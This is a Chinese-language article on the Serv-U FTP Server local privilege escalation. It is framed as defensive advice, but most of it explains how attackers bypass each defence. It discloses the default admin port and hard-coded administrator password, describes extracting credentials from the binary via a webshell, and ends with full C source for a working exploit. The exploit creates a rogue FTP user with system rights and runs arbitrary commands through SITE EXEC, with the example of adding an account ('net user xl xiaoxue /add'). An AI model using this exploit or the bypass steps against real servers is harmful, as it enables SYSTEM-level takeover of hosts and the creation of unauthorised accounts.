Serv-u Ftp Server 本地权限提升漏洞的终极防御

时间:2021-05-30 14:59:17
   Serv-u Ftp server(以下简称Serv-u)是一个应用比较广泛的Ftp Server,功能强大,使用方便,Serv-u>3.x版本存在本地权限提升漏洞,使用guest权限结合Exp可以以system权限运行程序,通过Webshell结合Exp提升权限已经成了很常用提升方法。

漏洞简介:
    漏洞是使用Serv-u本地默认管理端口,以默认管理员登陆新建域和用户来执行命令,Serv-u>3.x版本默认本地管理端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P,这是集成在Serv-u内部的,可以以Guest权限来进行连接,对Serv-u进行管理。

防止办法和对策:
    一般防止方法:设置目录权限,通过去掉Web目录iusr用户的执行权限来防止使用Webshell来运行Exp程序。
    对策:这种方法有一定的局限性,需要设置的目录很多,不能有一点疏漏,比如我就发现很多虚拟主机在C:/Documents and Settings/All Users/ Documents目录以及下边几个子目录Documents没有设置权限,导致可以在这个目录上传并运行Exp,这种目录还有x:/php,x:/perl等,因为这种目录都是everyone完全控制的。有些主机还支持php,pl,aspx等,这简直就是服务器的Serv-U灾难,^_^,运行程序更加方便。
    高级一点的防止办法:修改Serv-u管理端口,用Ultraedit打开ServUDaemon.exe查找B6AB(43958的16进制),替换成自己定义的端口比如3930(12345),打开ServUAdmin.exe找到最后一个B6AB替换成3930(12345),启动Serv-u,现在本地管理端口就成了12345了:

TCP    127.0.0.1:12345        0.0.0.0:0              LISTENING

    对策:对付这种也很简单,netstat –an,就能看到端口了,有人说netstat无法运行,其实你再上传个netstat.exe到可执行目录运行就ok了,然后修改一下Exp编译,上传运行就好了,我修改了一个可以自定义端口的Exp,运行格式:

USAGE: serv-u.exe port "command"
Example: serv-u.exe 43958 "net user xl xiaoxue /add"

    更高级的防止办法:修改管理员名和密码,用Ultraedit打开ServUDaemon.exe查找Ascii:LocalAdministrator,和#l@$ak#.lk;0@P,修改成等长度的其它字符就可以了,ServUAdmin.exe也一样处理。
    对策:这下默认的管理员连接不上了,还有办法么?嘿嘿,有的管理员安装Serv-u都是使用默认目录C:/Program Files/Serv-U安装,这个目录虽然不能写,也不能修改,但是默认iusr是可以读的,我们可以用webshell来下载ServUDaemon.exe,用Ultraedit打开分析一下,Serv-U的帐号密码就到手了,修改Exp编译上传运行,我们又胜利了。

终极防御:
1.设置好目录权限,不要疏忽大意;
2.Serv-U最好不要使用默认安装路径,设置Serv-U目录的权限,只有管理员才能访问;
3.用我介绍的办法修改Serv-U的默认管理员名字和密码,喜欢的话端口也可以改掉。

后记:
    入侵和防御就像矛和盾,盾上不能有任何薄弱之处,不然就会死的很难看。本文旨在为服务器管理员提供防御这个漏洞的办法,不足之处,请各位高手指教。(以上测试在Serv-u 5.0,5.1,5.2上通过)

附录:Exp源代码 serv-u.c

 
#pragma comment(lib,"ws2_32.lib")
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <io.h>
#include <process.h>

//Responses
#define BANNER                  "220 "
#define USEROK                  "331 User name okay"
#define PASSOK                  "230 User logged in, proceed."
#define ADMOK                   "230-Switching to SYSTEM MAINTENANCE mode."
#define DOMAINID                "200-DomainID="
//Commands

#define XPLUSER                    "USER xl/r/n"
#define XPLPASSWORD                "PASS 111111/r/n"
#define USER                    "USER LocalAdministrator/r/n"
#define PASSWORD                "PASS #l@$ak#.lk;0@P/r/n"

#define MAINTENANCE             "SITE MAINTENANCE/r/n"
#define EXIT                    "QUIT/r/n"
char newdomain[]="-SETDOMAIN/r/n"
                 "-Domain=xl|0.0.0.0|2121|-1|1|0/r/n"
		 "-TZOEnable=0/r/n"
		 " TZOKey=/r/n";
/*               "-DynDNSEnable=0/r/n"
                 " DynIPName=/r/n";
*/
char deldomain[]="-DELETEDOMAIN/r/n"
                 "-IP=0.0.0.0/r/n"
                 " PortNo=2121/r/n";

char newuser[] =
                "-SETUSERSETUP/r/n"
                "-IP=0.0.0.0/r/n"
                "-PortNo=2121/r/n"
                "-User=xl/r/n"
                "-Password=111111/r/n"
                "-HomeDir=c:///r/n"
                "-LoginMesFile=/r/n"
                "-Disable=0/r/n"
                "-RelPaths=1/r/n"
                "-NeedSecure=0/r/n"
                "-HideHidden=0/r/n"
                "-AlwaysAllowLogin=0/r/n"
                "-ChangePassword=0/r/n"
                "-QuotaEnable=0/r/n"
                "-MaxUsersLoginPerIP=-1/r/n"
                "-SpeedLimitUp=0/r/n"
                "-SpeedLimitDown=0/r/n"
                "-MaxNrUsers=-1/r/n"
                "-IdleTimeOut=600/r/n"
                "-SessionTimeOut=-1/r/n"
                "-Expire=0/r/n"
                "-RatioUp=1/r/n"
                "-RatioDown=1/r/n"
                "-RatiosCredit=0/r/n"
                "-QuotaCurrent=0/r/n"
                "-QuotaMaximum=0/r/n"
                "-Maintenance=System/r/n"
                "-PasswordType=Regular/r/n"
                "-Ratios=None/r/n"
                " Access=c://|RWAMELCDP/r/n";

#define localip "127.0.0.1"

char cadena[1024];
int rec,domain;
/******************************************************************************/

void ParseCommands(int sock, char *data, int ShowSend, int showResponses,
char *response) {
 send(sock,data,strlen(data),0);
 if (ShowSend) printf(">%s",data);
 Sleep(100);
 do {
         rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='/0';
         if (rec<=0) return;
         if (showResponses) printf("<%s",cadena);
         if (strncmp(cadena, DOMAINID,strlen(DOMAINID))==0)
                domain=atoi(cadena+strlen(DOMAINID));
 //} while (strncmp(cadena,response,strlen(response))!=0);
 } while (strstr(cadena,response)==NULL);
  printf("******************************************************/r/n");
}
/******************************************************************************/
int main(int argc, char* argv[])
{
	WSADATA ws;
        int sock,sock2;

        struct sockaddr_in su;
        struct sockaddr_in xpl;

printf("Serv-u >3.x Local Exploit by xiaolu/r/n/r/n");
if (argc<3) {
        printf("USAGE: serv-u.exe port /"command/"/r/n");
        printf("Example: serv-u.exe 43958 /"net user xl xiaoxue /add/"");
         return(0);
}

        if	(WSAStartup( MAKEWORD(2,2), &ws )!=0) {
		printf(" [-] WSAStartup() error/n");
		exit(0);
	}

	su.sin_family = AF_INET;
	su.sin_port = htons(strtoul(argv[1],NULL,10));
	su.sin_addr.s_addr = inet_addr(localip);
        sock=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
        connect(sock,( struct sockaddr *)&su,sizeof(su));
        rec=recv(sock,cadena,sizeof(cadena),0); cadena[rec]='/0';
        printf("<%s",cadena);

        ParseCommands(sock,USER,1,1,USEROK);
        ParseCommands(sock,PASSWORD,1,1,PASSOK);
        ParseCommands(sock,MAINTENANCE,1,0,"230 ");

        printf("[+] Creating New Domain.../r/n");
        ParseCommands(sock,newdomain,0,1,BANNER);
        printf("[+] Domain xl:%i Created/n",domain);

/* Only for v5.x
        printf("[+] Setting New Domain Online/r/n");
        sprintf(cadena,"-SERVERCOMMAND/r/n-ID=%i/r/n
Command=DomainOnline/r/n",domain);
        ParseCommands(sock,cadena,0,1,BANNER);
*/
        printf("[+] Creating Evil User/r/n");
        ParseCommands(sock,newuser,0,1,"200 ");
        Sleep(1000);

        printf("[+] Now Exploiting.../r/n");
	xpl.sin_family = AF_INET;
	xpl.sin_port = htons(2121);
	xpl.sin_addr.s_addr = inet_addr(localip);
        sock2=socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
        connect(sock2,( struct sockaddr *)&xpl,sizeof(xpl));
        rec=recv(sock2,cadena,sizeof(cadena),0); cadena[rec]='/0';
        ParseCommands(sock2,XPLUSER,1,1,USEROK);
        ParseCommands(sock2,XPLPASSWORD,1,1,PASSOK);
        printf("[+] Now Executing: %s/r/n",argv[2]);
        sprintf(cadena,"site exec %s/r/n",argv[2]);
        send(sock2,cadena,strlen(cadena),0);
        shutdown(sock2,SD_BOTH);
        Sleep(100);
        ParseCommands(sock,deldomain,0,1,BANNER);
        send(sock,EXIT,strlen(EXIT),0);
        shutdown(sock,SD_BOTH);
        closesocket(sock);
        closesocket(sock2);

        return 0;
}